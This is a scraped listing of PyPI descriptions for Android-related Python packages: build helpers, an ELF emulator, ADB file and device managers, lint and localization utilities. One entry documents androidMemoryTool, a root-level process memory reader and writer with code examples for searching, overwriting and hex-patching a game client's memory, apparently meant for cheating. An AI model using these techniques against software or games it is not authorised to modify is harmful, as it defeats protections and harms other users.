configuration; the easiest way is to dump the default configuration withandroid-debian-builder--print-configand build your own based on that.Additional example configurations are included. These can be found inandroid_debian_builder/examplesin the source distribution or in theexamples` subdirectory of the installed package. To include one of these examples in your configuration setup, prefix the file name with ``builtin:examples/on the command line, like so:# android-debian-builder --config builtin:examples/jessie-armhf.cfg
|
android-dumpkey
|
No description available on PyPI.
|
androidemu
|
AndroidNativeEmuAllows you to partly emulate an Android native library.This is an educational project to learn more about the ELF file format andUnicorn.中文READMEFeaturesEmulation of theJNI Invocation APIsoJNI_OnLoadcan be called properly.Emulation of native memory for malloc / memcpy.Emulation of syscalls (SVC #0) instruction.Hooking through the symbol table.All JavaVM, JNIEnv and hooked functions are handled by python.Enable VFP support.UsageIn the future this will be possible through pypi.Make sure you are using python 3.7.Clone the repositoryRunpip install -r requirements.txtRunpython example.pyIf you have trouble getting thekeystone-enginedependency on Windows (as I did):Clone theirrepositoryOpen a terminal inbindings/pythonRunpython setup.py install(Make sure you are using python 3.7)Download theirWindows - Core enginepackageherefor your python arch.Put thekeystone.dllinC:\location_to_python\Lib\site-packages\keystone\.TODOImprove file descriptors invfs/file_system.pyso they are re-useable.Add a way for the VirtualFileSystem to give back dynamic files, such as/proc/self/status,/proc/self/statusbut also/dev/urandom.Library consumers must be able to easily rebuild the needed Java classes for a native library, which are used by the native library through the JNIEnv.ClassesObjectsMethodsNative methodsFieldsTypesReflectionDependenciesUnicorn CPU emulator frameworkKeystone assembler frameworkResourcesAll resources used while developing AndroidNativeEmu.Text sourceshttps://greek0.net/elf.htmlhttps://stackoverflow.com/questions/13908276/loading-elf-file-in-c-in-user-spacehttps://programtalk.com/python-examples/pyelftools.elftools.elf.relocation.Relocation/http://infocenter.arm.com/help/topic/com.arm.doc.ihi0044f/IHI0044F_aaelf.pdfhttps://wiki.osdev.org/ELF_Tutorialhttps://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.htmlhttps://android.googlesource.com/platform/dalvik/+/donut-release/vm/Jni.cCode sourceshttps://github.com/lunixbochs/usercornhttps://github.com/slick1015/pad_unpacker(SVC 0 instruction)
|
androidemulator
|
androidemulatorControls an android emulator. Useful for testing on multiple android versions.To develop software, run. ./activate.shWindowsThis environment requires you to usegit-bash.LintingRun./lint.shto find linting errors usingpylint,flake8andmypy.
|
androidenv
|
Build native packages for Android.RequirementsPython;Android SDK;The Android SDK can be installed fromAndroid Studio.Then set the environment variableANDROID_SDK_ROOTor ANDROID_HOME.Finally, Python'sdistutilspackage must be patched for cross-compiling.
The patch is in the patches directory. Apply it like so:DESTLIB=$(python -c "import sysconfig; \
print(sysconfig.get_config_var('DESTLIB'))")
patch -p2 -d $DESTLIB < patches/patch-Python-3.10.0.txtThis patch should apply to any version of Python.You may need to use sudo.Install androidenvInstall from the Python Package Index:pip install androidenvYou can also copy the file androidenv.py to where you need it,
it is self contained.UsageBuild something from source:cd thing
python -m androidenv setup.py build
python -m androidenv setup.py installYou really want to do this in avirtual environment.Use the --find-library option to find libraries like libandroid or liblog:python -m androidenv --find-library android logEnvironment variablesThis module works entirely with environment variables.Input environment variables:ANDROID_SDK_ROOT or ANDROID_HOME (required);ABI (optional; armeabi-v7a or arm64-v8a);API (optional);DEBUG (optional; 0 or 1);What is being built must respect the following evironment variables:ARASCCCFLAGSCPPCPPFLAGSCXXCXXFLAGSLDLDFLAGSPATHRANLIBREADELFSTRIPMany packages do, many don't. Python itself (distutils) does not respect
RANLIB; CMake does not respect CPPFLAGS; and many more. Fixing that is
your homework.setup.cfgSome useful configuration options when building for Android:[build]
build-base = build
build-temp = build/tmp
build-lib = build/lib
|
android-env
|
Read the README at https://github.com/deepmind/android_env for more information.
|
android-file-bridge
|
Android File BridgeFile browser library to interact with Android devices, using ADB.RequirementsPython 3.6+ADB binary available on pathSetupInstallandroid-file-bridgefrom PyPi usingpip install android-file-bridgeUsageCreating a device objectUSBBefore using this, make sure the device is connected and available throughadb devices.fromandroid_file_bridgeimportDeviceconnection=Device()Networkfromandroid_file_bridgeimportDeviceconnection=Device(ip_address="0.0.0.0")# obviously change this!List a directoryconnection.list_path("/sdcard/Download")Download a file from your phoneconnection.pull("/sdcard/important_file.pdf","file.pdf")Upload a file to your phoneconnection.push("image.png","/sdcard/cool_photo.png")
|
android-flasher
|
Flasher is a shell script generator which helps you to flash the Android
factory image without removing user data.You can use it instead offlash-all.shorflash-all.bat.InstallationYou can install android-flasher withpip$ pip install android-flasherHow to useInstall.Move to the unzipped factory image directory.Executeandroid-flasherin terminal.Now reboot and enter the bootloader.Execute theflasher.shscript.If you meet an error likefastboot: command not found, add following line in your.bash_profile.export PATH="/path/to/android/sdk/platform-tools:$PATH"LicenseThe MIT License (MIT)Copyright (c) 2015 Minsoo Park
|
androidframer
|
No description available on PyPI.
|
android-gendimen
|
You can generate dimen tag for android by defining python expressions in xml comment.
|
android_gradle_source_mover
|
UNKNOWN
|
androidicon
|
UNKNOWN
|
android-keygen
|
No description available on PyPI.
|
android-lint-to-glcq
|
Android Lint to Gitlab Code Quality ReportConvert android gradle lint outputs to a GitLab valid json code quality result file.Thanks to the author of the original
projectansible-lint-to-junit-xmland to author of yaml-lint forkyaml-lint-to-junit-xmlQuickstartInstallandroid-lint-to-glcqwith pip:pip install android-lint-to-glcqOr you can simply get this repo and install with setup.pyUsageRun./gradlew :app:lintDebugand use a file to pass the output./gradlew :app:lintDebug
android-lint-to-glcq <relative path to lint xml report> <absolute path to project root> > <output file>FeaturesOutput JSON file is compliant
withgitlab code quality schema, so you can use it to artifact as reportExampleRunning./gradlew :app:lintDebugon my Android project results in:<?xml version="1.0" encoding="UTF-8"?>
<issues format="6" by="lint 7.0.1">
<issue
id="FragmentTagUsage"
severity="Warning"
message="Replace the <fragment> tag with FragmentContainerView."
category="Correctness"
priority="5"
summary="Use FragmentContainerView instead of the <fragment> tag"
explanation="FragmentContainerView replaces the <fragment> tag as the preferred way of adding fragments via XML. Unlike the <fragment> tag, FragmentContainerView uses a normal `FragmentTransaction` under the hood to add the initial fragment, allowing further FragmentTransaction operations on the FragmentContainerView and providing a consistent timing for lifecycle events."
url="https://developer.android.com/reference/androidx/fragment/app/FragmentContainerView.html"
urls="https://developer.android.com/reference/androidx/fragment/app/FragmentContainerView.html"
errorLine1=" <fragment"
errorLine2=" ~~~~~~~~">
<location
file="/Users/vlad/StudioProjects/Company/fleet/app/src/main/res/layout/activity_main.xml"
line="13"
column="10"/>
</issue>
</issues>Runningandroid-lint-to-glcqon gradle lint outputs looks line this:./gradlew :app:lintDebug
android-lint-to-glcq app/lint/reports/lint-results-debug.xml /Users/vlad/StudioProjects/Company/fleet/ > results/android-lint-results.xmlWould result in:[
{
"description": "Use FragmentContainerView instead of the <fragment> tag",
"severity": "major",
"fingerprint": "f753a37f26e791db8d499657e23f9caa",
"location": {
"path": "fleet/app/src/main/res/layout/activity_main.xml",
"lines": {
"begin": "13"
}
}
}
]And final result:
|
android-localization-helper
|
[travis-url]:http://travis-ci.org/#!/jordanjoz1/android-localization-helper[travis-build-image]:https://secure.travis-ci.org/jordanjoz1/android-localization-helper.svg[coveralls-url]:https://coveralls.io/r/jordanjoz1/android-localization-helper[coveralls-image]:https://coveralls.io/repos/jordanjoz1/android-localization-helper/badge.svg[pypi-url]:https://badge.fury.io/py/android-localization-helper[pypi-image]:https://badge.fury.io/py/android-localization-helper.svg[arsenal-url]:https://android-arsenal.com/details/1/1367[arsenal-image]:https://img.shields.io/badge/Android%20Arsenal-android–localization–helper-brightgreen.svg?style=flat[downloads-url]:https://pypi.python.org/pypi/android-localization-helper/[downloads-image]:https://img.shields.io/pypi/dm/android-localization-helper.svg[codeclimate-url]:https://codeclimate.com/github/jordanjoz1/android-localization-helper[codeclimate-image]:https://codeclimate.com/github/jordanjoz1/android-localization-helper/badges/gpa.svg[![Travis build image][travis-build-image]][travis-url]
[![Coverage Status][coveralls-image]][coveralls-url]
[![PyPi version][pypi-image]][pypi-url]
[![PyPi download count image][downloads-image]][downloads-url]
[![Android Arsenal][arsenal-image]][arsenal-url]
[![Code Climate][codeclimate-image]][codeclimate-url]android-localization-helperPython script that checks for missing string translations in your project’s localized languages.Ever lose track of what strings have and haven’t been translated in each language? Android Studio [made an awesome GUI](http://tools.android.com/recent/androidstudio087released) to help deal with this issue, but there is no easy way to export missing strings, so if you are missing more than a few strings in a language it can become a tenuous problem. Here’s a solution!This python package will output a directory with all the string translations that are missing for each localized values directory. It can also clean-up localizedstrings.xmlto remove translations that are no longer used in the defaultstrings.xmlfile.## Getting started
Requirements:Python >= 2.7.*[Standard Android project structure](https://developer.android.com/tools/projects/index.html) for localized values-* folders inres/folderTo install run:`bash pip installandroid-localization-helper`## Usage#### Normal usecdinto yourres/folder, and run:`android-localization-helper`By default, this creates an output directoryto_translate/([sample output](./sample_output)) with separate files for the missing strings in each language. Now that you have the untranslated strings for each language in a standard format, you can [send them out for translation](https://developer.android.com/distribute/tools/localization-checklist.html#gp-trans)!#### Change output directory (–output)
Use the output option to change the output directory path.For example, we can output the missing translations into ato_translate/directory on the Desktop:`android-localization-helper--output~/Desktop/to_translate `#### Clean-up translated string files (–clean)This option will remove strings that aren’t in the default file and sort strings to match the defaultstrings.xmlorder.Warning:this will overwrite your existing localized `strings.xml` files, so make sure you have a back-up in case of any unexpected changes`android-localization-helper--clean`#### Use multiple default string sources (–input)It is recommended that all your translatable strings are instrings.xml. If that’s not the case, the input option will allow you to include multiple default string source files. The localized output will still have only one file for each language.For example, if we hadstrings.xmlandplurals.xmlfiles in ourvalues/directory, we could make sure those are included as part of our default string source:`android-localization-helper--inputstrings.xml plurals.xml `### Options#### -h, –help
Prints help message.#### –res
Path to the app’s /res folder. Like,./main/resBy default assumes the current directory#### –input
List of file names to include from default values directory (e.g.strings.xmlplurals.xml). By default, onlystrings.xmlis used#### –output
Output directory path (directory will be created automatically). Like,~/Desktop/to_translateBy default createsto_translatefolder in the current directory.#### –clean
Clean the existingstring.xmlfiles for each language. This will remove strings that are in the localized language but not in the default language (they presumably got removed from the default langauge). It will also sort the strings so that they are in the same order as the default language.## Release History
* 2015-07-16 v0.1.4 fix handling same resource name across multiple times
* 2015-05-31 v0.1.3 support for multiple default string sources
* 2015-01-05 v0.1.2 support for more language folders, better feedback and error handling
* 2015-01-04 v0.1.1 xliff namespace support, better indentation handling
* 2015-01-03 v0.1.0 Initial release## LicenseSee the [LICENSE](LICENSE) file for license rights and limitations (MIT).CHANGES0.1.4 (2015-07-16)fix handling same resource name across multiple times0.1.3 (2015-05-31)support for multiple default string sources0.1.2 (2015-01-05)Support for more language foldersBetter feedbackBetter error handling0.1.1 (2015-01-04)Support for xliff namespace.Preserves original indentation for tagsAdded tests for plurals0.1.0 (2015-01-03)Initial release.
|
android-manager
|
Android Manager By Python中文文档InfoThis is an Android Manage App Designed By WindowsRegedit.App ScreenshotLight ThemeDark ThemeInstallationUse pip to install (recommend):pipinstallandroid-managerAnd to boot like that:android-managerUse source code to install:gitclonehttps://github.com/WindowsRegedit/PythonAndroidPhoneManager.gitcdPythonAndroidPhoneManager
pythonsetup.pyinstallAnd boot like Pip Installation:android-managerTranslation SupportOpen the source, You will see a "translations" folder.It contains Chinese Support like that:{"APK File":"APK文件","Analyze APK":"分析APK","Android File Analyzer":"Android文件分析器","Android Phone Manager":"安卓手机管理器","Android Terminal":"安卓终端","Android-ID":"Android-ID","App Settings":"软件设置","Application-Label Localization":"应用名称本地化","Common":"常用","Common Message":"常用信息","Confirm":"确认","Confirm Uninstall?":"确定卸载?","Device Model":"设备型号","Device Name":"设备名称","Device Product":"设备分类","Device Status":"设备状态","Get Root Permission":"获取Root权限","IPv4 Address":"IPv4地址","Info":"提示","Install App":"安装应用","Installed Packages Name":"已安装程序名称","LaunchAble-activity":"可启动的服务","Localization Language":"本地化语言","Localization Message":"本地化信息","Normal Reboot":"正常重启","Package Operation":"对程序包进行操作","Please Select A Device":"请选择一个设备","Please Select An Installer":"请选择一个安装包","Please Select Reboot Method":"请选择重启方式:","Reboot":"重启","Reboot Device":"重启设备","Reboot Successfully":"重启成功","Reboot to Bootloader":"重启到Bootloader","Reboot to Recovery":"重启到Recovery","Reboot to SideLoad":"重启到SideLoad(侧载)","Reboot to SideLoad-Auto-Reboot":"重启至SideLoad-Auto-Reboot(侧载并自动重启)","Refresh":"刷新","Run Shell Command":"运行Shell命令","SDK Version":"SDK版本","Screen Resolution":"屏幕分辨率","Select File":"选择文件","Settings":"设置","Successfully Get Root Permission":"成功获取Root权限","Transport ID":"传输ID","Unable To Get Root Permission\nError":"无法获取Root权限\n错误","Uninstall App":"卸载程序","Warning":"警告","When You Are Using It, May Be Cause The Device Not Able To Run, Please Use Carefully":"在使用过程中,有可能会导致设备无法正常运行,请谨慎使用","compileSdkVersion":"编译SDK版本","compileSdkVersionCodename":"编译SDK版本名称","device":"正常","name":"包名","offline":"离线(OffLine)","platformBuildVersionCode":"平台编译版本代码","platformBuildVersionName":"平台编译版本名称","unauthorized":"未授权","unknown":"未知","versionCode":"版本代码","versionName":"版本名称","Find App Package Name":"查找应用名称","FastBoot(Danger Zone)":"FastBoot(危险区域)","Unlock Phone":"解锁手机","Enter Unlock Code":"输入解锁手机码","Not A Valid Format":"不是正确的格式","FAILED (remote: 'check password failed!')\r\nfastboot: error: Command failed\r\n":"错误 (设备: '检查密码失败!')\r\nfastboot: 错误: 命令失败\r\n","FAILED (remote: 'device will reboot after 30S due to 5 times of wrong key.')\r\nfastboot: error: Command failed\r\n":"错误 (设备: '30秒后设备将重启因为输入了5次错误的密码')\nfastboot: 错误: 命令失败\n","FAILED (Status read failed (Too many links))\r\nfastboot: error: Command failed\r\n":"错误 (状态读取失败(太多链接))\nfastboot: 错误: 命令失败\n","Use Light Theme":"使用亮主题","Use Dark Theme":"使用暗主题"}All the keys are needed for translation.Save the new Translation Files FileName as "LanguageName.json",The program will Detect It.[Please Release Issues.]Update InfoVersion 5New Tab "FastBoot(Danger Zone)".It contains "unlock phone".In settings, it adds "Change Theme" block.And change the "Change Language" and "Change Theme" parts default by the last time setting.
PS: NO NEED FOR RESTART TO CHANGE.IT WILL AUTO CHANGE IT!!!!!!Version 4New Block "Package Operation".Support search packages, uninstall packages and install packages.Change "Install Package" position to Package Operation.Version 3.3We supportpipinstallation now !For more information, see:InstallationVersion 3.0After This Release, it needs internet connection to download ADB And AAPT Files, But It uses less disk spaces.Version 2.0Second Release!It finally supports Multiple System.(Like Windows, macOS and Linux)Version 1.0Android Manager First Release!This is an important release.It contains:Translation Support.APK / APEX File Install Support.Analyze APK File Support.Issues:Only support on Windows Temporarily.
|
androidMemoryTool
|
AndroidMemoryToolAndroidMemoryTool: A Powerful Memory Reader and Writer Tool for Android, Linux, and Windows Operating SystemsAndroidMemoryTool is a sophisticated memory manipulation tool meticulously crafted for use on Android, Linux, and
Windows operating systems. This versatile tool is meticulously coded in Python, utilizing ctypes and struct datatypes,
ensuring efficiency comparable to C.Our commitment to excellence extends to our support system. If you encounter any bugs or non-functional features,
please do not hesitate to contact us. Your feedback is invaluable in our pursuit of continuous improvement.Date : 2023/09/30Author :Abdul MoezVersion : 0.6.3 (Linux Pid Bug Fixed)Study : UnderGraduate in GCU Lahore, PakistanRepository :Main BranchDocumentation:AndroidMemoryToolExtensiveDocumentationGNU General Public LicenseCopyright (c) 2023 AbdulMoezNote1. This documentation is for 0.6 version (UPDATED)
2. You can find old version on pypi if you want to use them
3. For Linux and Android Users use 0.6.3 Build other wise you will get PID errorVersion 0.6.3-----------------------------------------MODIFICATION LOG--------------------------------------------------
1. Added Support for Windows OS (while maintaining compatibility with existing API calls).
2. Introduced a Robust Memory Profiler capable of threshold-based memory leak and churn detection using process IDs.
3. Customizability of the Memory Profiler has been enhanced (Please refer to the documentation for details).
4. Introduced several static methods, including:
- get_developer
- get_version_code
- get_cpu_counts
- get_platform
- is_root_acquired
5. We are pleased to announce the addition of group search support with a new parameter, "is_grouped,"
which can be set to True. This enhancement allows users to perform grouped searches effectively and efficiently.
By default, the value of the range is set to 512, aligning with the capabilities of Game Guardian.
6. We have recently introduced two new error classes to enhance the functionality of our memory tool:
WINAPIException and PIDException. These additions further bolster our product's robustness and error-handling
capabilities, ensuring a more seamless and reliable user experience.
7. We've meticulously updated and expanded our documentation to ensure that it's more informative, user-friendly,
and grammatically impeccable than ever before.
--------------------------------------------TO-DO LIST----------------------------------------------------
1. FIXME: Resolve the speed mode bug on Windows OS.
2. TODO: Implement Reverse Engineering Support for offline binaries using renowned disassemblers such as Capstone,
Keystone, and R2pipe.
3. TODO: Add Assembly support for runtime memory reading and writing.
4. TODO: Incorporate wildcard support in Windows API.
5. TODO: Expand the functionality with additional API handling methods.
----------------------------------------SUGGESTIONS-------------------------------------------------------
Your valuable suggestions are welcome through either direct messages or our Discord server.
-------------------------------------------NOTICE--------------------------------------------------------
This update has significantly increased the complexity of the Memory Tool, making it increasingly challenging for a
single individual to manage its development. Therefore, we warmly welcome contributions from anyone interested in
collaborating on its further enhancement.Supported PlatformsWindows Support (Started from 0.6 Version)Linux Support (Started From 0.2 Version)Android Support (Started From 0.1 Version)Supported ByteOrdersLittle-EndianBig-EndianTested PlatformsOur tool has been rigorously tested and proven to run seamlessly on the following platforms:Windows 11 (64-bit)Linux - Kali Linux (64-bit)Android - Xiaomi 11T (Termux, 64-bit, Android 13)Rest assured, our commitment to compatibility ensures a smooth and efficient user experience across these platforms.RequirementsPython 3.5+Android Requirements: Rooted Device RequiredLinux Requirements: Root access may be necessary on certain Linux platforms.Windows Requirements: Administrator permissions requiredDependenciesPip Dependencies (Automatically Installed in Requirements):psutilInstallationInstallation via Pip for Easy Integration into Your ProjectTo effortlessly incorporate the Android Memory Tool into your project, execute the following pip command:pip install androidMemoryTool==0.6.1Installation by Cloning the Repository and Running CommandsAlternatively, you can acquire the Android Memory Tool by cloning the GitHub repository and executing the
subsequent commands:git clonehttps://github.com/Anonym0usWork1221/android-memorytool/tree/maincd android-memorytoolpip install .Project live atPyPi-0.6.3Utilize our cutting-edge Memory Tool, replete with intricate examples, readily accessible within the designated folder.Access Android-Py-Cheats-Script @ 9d2520e.Video Demo - 0.6DocumentationGetting Process IDTo obtain the Process ID (PID) of a target process, you can use the following code snippet:fromandroidMemoryToolimportAndroidMemoryTool# Initialize the tool and set the speed_mode to off for Windows in this version only.tool=AndroidMemoryTool(PKG="ac_client")pid=tool.get_pid()print(pid)Getting Module BaseTo retrieve the base address of a specific module in the target process, you can use the following code snippet:fromandroidMemoryToolimportAndroidMemoryTooltool=AndroidMemoryTool(PKG="ac_client")base_addr=tool.get_module_base_address("client.so")print(base_addr)Searching and Reading Process MemoryTo search for a specific value in the process memory and read the results, use the following code:fromandroidMemoryToolimportAndroidMemoryTool,DataTypes,PMAP# Initialize the tool and set the speed_mode to off for Windows in this version only.tool=AndroidMemoryTool(PKG="Tutorial-x86_64.exe",SPEED_MODE=False,TYPE=DataTypes.DWORD,WORKERS=AndroidMemoryTool.get_cpu_counts(fraction=2),pMAP=PMAP(ALL=True))# Search for a value in the entire memory.values=tool.read_value(100)founded_offsets=values[0]founded_values=values[1]print(founded_values)print(founded_offsets)Searching and Writing Process MemoryYou can search for a specific value in the process memory and replace it with a new value using the following code:fromandroidMemoryToolimportAndroidMemoryTool,DataTypes,PMAP# Initialize the tool and set the speed_mode to off for Windows in this version only.tool=AndroidMemoryTool(PKG="Tutorial-x86_64.exe",SPEED_MODE=False,TYPE=DataTypes.DWORD,WORKERS=AndroidMemoryTool.get_cpu_counts(fraction=2),pMAP=PMAP(ALL=True))# Search for all values and replace them with a new value.values1=tool.read_write_value(100,10)print(values1)Reading Address ValueTo read the value at a specific memory address, use the following code:fromandroidMemoryToolimportAndroidMemoryTool,DataTypestool=AndroidMemoryTool(PKG="ac_client",TYPE=DataTypes.DWORD)base_addr=tool.get_module_base_address("client.so")values1=tool.read_lib(base_addr,'0xfff150d')print(values1)Writing Address ValueTo write a value to a specific memory address, use the following code:fromandroidMemoryToolimportAndroidMemoryTool,DataTypestool=AndroidMemoryTool(PKG="ac_client",TYPE=DataTypes.DWORD)base_addr=tool.get_module_base_address("client.so")values1=tool.write_lib(base_addr,'0xfff150d',58)print(values1)Raw Dump Process MemoryYou can dump the memory of a process using the following code:fromandroidMemoryToolimportAndroidMemoryTooltool=AndroidMemoryTool(PKG="ac_client")dump=tool.raw_dump(lib_name='client.so',path='./')print(dump)Address RefinerTo refine addresses based on a value, use the following code:fromandroidMemoryToolimportAndroidMemoryTool,DataTypes,PMAPtool=AndroidMemoryTool(PKG="Tutorial-x86_64.exe",SPEED_MODE=False,TYPE=DataTypes.DWORD,WORKERS=AndroidMemoryTool.get_cpu_counts(fraction=2),pMAP=PMAP(ALL=True))values=tool.read_value(100)founded_offsets=values[0]refined_address=tool.refiner_address(list_address=founded_offsets,value_to_refine=50)print(refined_address)Finding Hex Patterns (Linux and Android only)To locate hex patterns in memory, use the following code (Linux and Android only):fromandroidMemoryToolimportAndroidMemoryTool,DataTypes,PMAPtool=AndroidMemoryTool(PKG="Tutorial-x86_64.exe",SPEED_MODE=False,TYPE=DataTypes.DWORD,WORKERS=AndroidMemoryTool.get_cpu_counts(fraction=2),pMAP=PMAP(ALL=True))found_pattern=tool.find_hex_pattern("87 ?? 2B")forindexinrange(0,len(found_pattern[0])):print(f"{found_pattern[0][index]}:{found_pattern[2][index]}")print(f"Total Pattern found:{found_pattern[1]}")Finding and Replacing Hex Patterns (Linux and Android only)To find and replace hex patterns in memory, use the following code (Linux and Android only):fromandroidMemoryToolimportAndroidMemoryTool,DataTypes,PMAPtool=AndroidMemoryTool(PKG="Tutorial-x86_64.exe",SPEED_MODE=False,TYPE=DataTypes.DWORD,WORKERS=AndroidMemoryTool.get_cpu_counts(fraction=2),pMAP=PMAP(ALL=True))found_pattern=tool.find_and_replace_hex_pattern("87 ?? 2B","87 1D 2B")forindexinrange(0,len(found_pattern[0])):print(f"{found_pattern[0][index]}:{found_pattern[2][index]}")print(f"Total Pattern found and replaced:{found_pattern[1]}")Dumping Memory MapsYou can dump the memory maps of a process using the following code:fromandroidMemoryToolimportAndroidMemoryTooltool=AndroidMemoryTool(PKG="ac_client")is_dumped=tool.dump_maps(path="./")print(is_dumped)Group SearchPerform a group search to read and modify multiple values at once in specific range:fromandroidMemoryToolimportAndroidMemoryTool,DataTypes,PMAPtool=AndroidMemoryTool(PKG="Tutorial-x86_64.exe",SPEED_MODE=False,TYPE=DataTypes.DWORD,WORKERS=AndroidMemoryTool.get_cpu_counts(fraction=3),pMAP=PMAP(ALL=True))values=tool.read_value(read=[1000,100],is_grouped=True,range_val=510)forvalueinvalues[0]:tool.write_lib(value,'0x0',1000)print(f"Total Values Modified:{values[1]}")Prebuilt Memory ProfilerUtilize the prebuilt Memory Profiler to analyze memory usage:fromandroidMemoryToolimportAndroidMemoryTooltool=AndroidMemoryTool(PKG="Tutorial-x86_64.exe")memory_profiler=tool.get_memory_profiler()memory_profiler.start_profiling(logging=False)Static MethodsThe AndroidMemoryTool also provides static methods for various functionalities:fromandroidMemoryToolimportAndroidMemoryTool# Get the name of the developerprint(AndroidMemoryTool.get_developer())# Get the version code of the toolprint(AndroidMemoryTool.get_version_code())# Get the number of CPU cores available on your device (can specify a fraction)print(AndroidMemoryTool.get_cpu_counts())# Get the platform the script is running on (Linux, Android, Windows)print(AndroidMemoryTool.get_platform(verbose=True))# Check if the script is running on a rooted terminal or non-rootedprint(AndroidMemoryTool.is_root_acquired())Error Handling EnhancementsWe have introduced new error handling classes to enhance the robustness of our code.
These error handling classes will help you better manage and troubleshoot issues that may arise during the
execution of your code.PIDException:ThePIDExceptionis raised when there is an issue with connecting to the specified process.
This error message provides valuable information to help you diagnose and resolve the problem efficiently.try:fromandroidMemoryToolimportAndroidMemoryTool,PIDExceptiontool=AndroidMemoryTool(PKG="ac_client")exceptPIDExceptionase:print(f"An error occurred while trying to connect to the process:{e}")WINAPIException (Only occur on Windows):TheWINAPIExceptionis specific to Windows environments and is raised when an error occurs during a read operation.
This error message provides detailed information about the issue encountered during the reading process, making it
easier for you to pinpoint and rectify the problem.try:fromandroidMemoryToolimportAndroidMemoryTool,WINAPIExceptiontool=AndroidMemoryTool(PKG="ac_client")tool.read_value(read="some_wrong_value")exceptWINAPIExceptionase:print(f"An error occurred while reading a value:{e}")Android Memory Tool CLI DocumentationCLI Documentation Relocated: The CLI documentation has been relocated to the Documentation folder.
You can access it by visiting theAndroidMemoryToolCLIDOCSon GitHub.Custom Android Memory Profiling DocumentationYou can make custom Profiling tools by going toMemoryProfilerDOCSon GitHub.Comprehensive DocumentationFor in-depth and comprehensive documentation, please refer to the following link:Comprehensive DocumentationTroubleshooting ErrorsWindows ERROR ONSPEED_MODEAn issue has been identified on Windows systems related to the SPEED_MODE option,
which may result in the application getting stuck in a thread indefinitely. As a temporary solution,
we recommend disabling the SPEED_MODE for Windows.Some other known errors and their solutions can be foundhereSupported Data Types (For all Linux, Android and Windows)All data types are signed.RangeNameTypeBytes-2,147,483,648 to 2,147,483,647DWORDsigned int43.4E +/- 38 (7 digits)FLOATfloat41.7E +/- 308 (15 digits)DOUBLEdouble8-32,768 to 32,767WORDsigned short int2-128 to 127BYTEsigned char1-9,223,372,036,854,775,808 to 9,223,372,036,854,775,807QWORDsigned long long8-2,147,483,648 to 2,147,483,647XORsigned long4RandomUTF_8char[]RandomRandomUTF_16LEchar[]RandomSupported Map Ranges (Linux and Android only)Script NameNameDescriptionALLWhole MemoryWhole Memory of current process (slow)C_ALLOCC++ allocRAM c++ Allocated memoryA_ANONYMOUSAnonymousRange with r-w access onlyCODE_APPCode Appshared libs memory (dangerous)JAVA_HEAPJava HeapJava heapC_HEAPC++ HeapHeap memory of cppC_DATAC++ .data.Data MemoryC_BSSC++ .bss.bss section memoryJ_JavaJavaJava memory sectionSTACKStackStack MemoryASHMEMAshmenAshmen MemoryV_videoVideoVideo memory rangeB_BadBadBad Memory (dangerous)CODE_SYSTEMCode systemCode system memory (dangerous)ContributorSupport and Contact InformationIf you require any assistance or have questions, please feel free to reach out to me through the following channels:Email:[email protected] have also established a dedicated Discord group for more interactive communication:Discord Server:https://discord.gg/RMNcqzmt9fBuy Me a coffeeIf you'd like to show your support and appreciation for my work, you can buy me a coffee using the
following payment option:Payoneer:[email protected] support is greatly appreciated and helps me continue providing valuable assistance and resources.
Thank you for your consideration.
|
android-missingdrawables
|
Check if your Drawables are present in all density buckets. Example:$ sudo pip install android-missingdrawables
$ missingdrawables ~/projects/AwesomeApp/res
l | m | h | xh
action_g.png | + | + | + | + |
action_pin.png | + | + | - | + |
action_search.png | + | - | + | + |
action_wishlist.png | + | + | + | + |
btn_call.png | + | + | + | + |
btn_check_off_focused_holo_light.png | + | - | + | - |
|
android-plus-new
|
Failed to fetch description. HTTP Status Code: 404
|
android-publish-cli
|
UNKNOWN
|
androidpublisher
|
Android PublisherUsage:$androidpublisher[OPTIONS]COMMAND[ARGS]...Options:--install-completion: Install completion for the current shell.--show-completion: Show completion for the current shell, to copy it or customize the installation.--help: Show this message and exit.Commands:uploadandroidpublisher uploadUsage:$androidpublisherupload[OPTIONS]PACKAGE_NAMEArguments:PACKAGE_NAME: [required]Options:--aab-file FILE: [default: app.aab]--track [internal|alpha|beta|production|rollout]: [default: internal]--json-key FILE: [default: credential.json]--help: Show this message and exit.
|
android-resource-remover
|
[](https://travis-ci.org/KeepSafe/android-resource-remover)
android-resource-remover
========================android-resource-remover is utility that removes unused resources reported by [Android Lint](http://developer.android.com/tools/help/lint.html) from your project. The goal is to reduce your APK size and keep the app clean from unused stuff.## Getting started
Requirements:Python >= 2.7.*ADT >= 16To install run:pip install android-resource-remover## Usage - general
Open the directory where your app is located and run`android-resource-remover`Android resources have dependencies to each other. This means that after running resource-remover the first time, it will clean up unused resources file that hold a reference to other resources. You can run this resource remover multiple times until there is no more unused resources to be removed. We’ve been running it up to 4 times in a row.### Use with gradleandroid-resource-removeris build on top of android lint. If you have a gradle project you have to run lint within your gradle build scripts and then use thelint-result.xmlas the input file forandroid-resource-removere.g../gradlew clean build :lint && android-resource-remover –xml build/outputs/lint-results.xml### Options#### –help
Prints help message.#### –lint
Full path to the lint tool like:d:DevAndroid SDKtoolslintThis will be executed as the lint command. If not provided it assumes the lint command in available and runs:lint#### –app
Full path to the android app like:d:DevMy_Android_AppIf not provided it assumes the current directory is the app’s root directory.#### –xmlUse existing lint result. If provided lint won’t be run.#### –ignore-layoutsIgnore layout directory## Expected behavior
### Resource ID in code not foundIf you have references to elements in an old layout that you’re not using anymore, you will get a compile error that the ID (R.id.<something>) can not be found. The reason is that the resource file that containedR.id.<something>has been removed as it was not used any more. Time to clean up your code.## FAQQ: installing dependency lxml failedwithclang: error: unknown argument: ‘-mno-fused-madd’ [-Wunused-command-line-argument-hard-error-in-future]A: [http://stackoverflow.com/a/22322645](http://stackoverflow.com/a/22322645)Q: installing dependency lxml failedwithfatal error: ‘libxml/xmlversion.h’ file not foundA: There are several ways to fix this listed on stackoverflow [http://stackoverflow.com/questions/19548011/cannot-install-lxml-on-mac-os-x-10-9](http://stackoverflow.com/questions/19548011/cannot-install-lxml-on-mac-os-x-10-9)## Issues and PRWhen opening an issue please include as much info as possible. pip.log, python varsion/info, os version/info might all be help us understanding what’s the problem.In PR please keep the formatting.## Licence
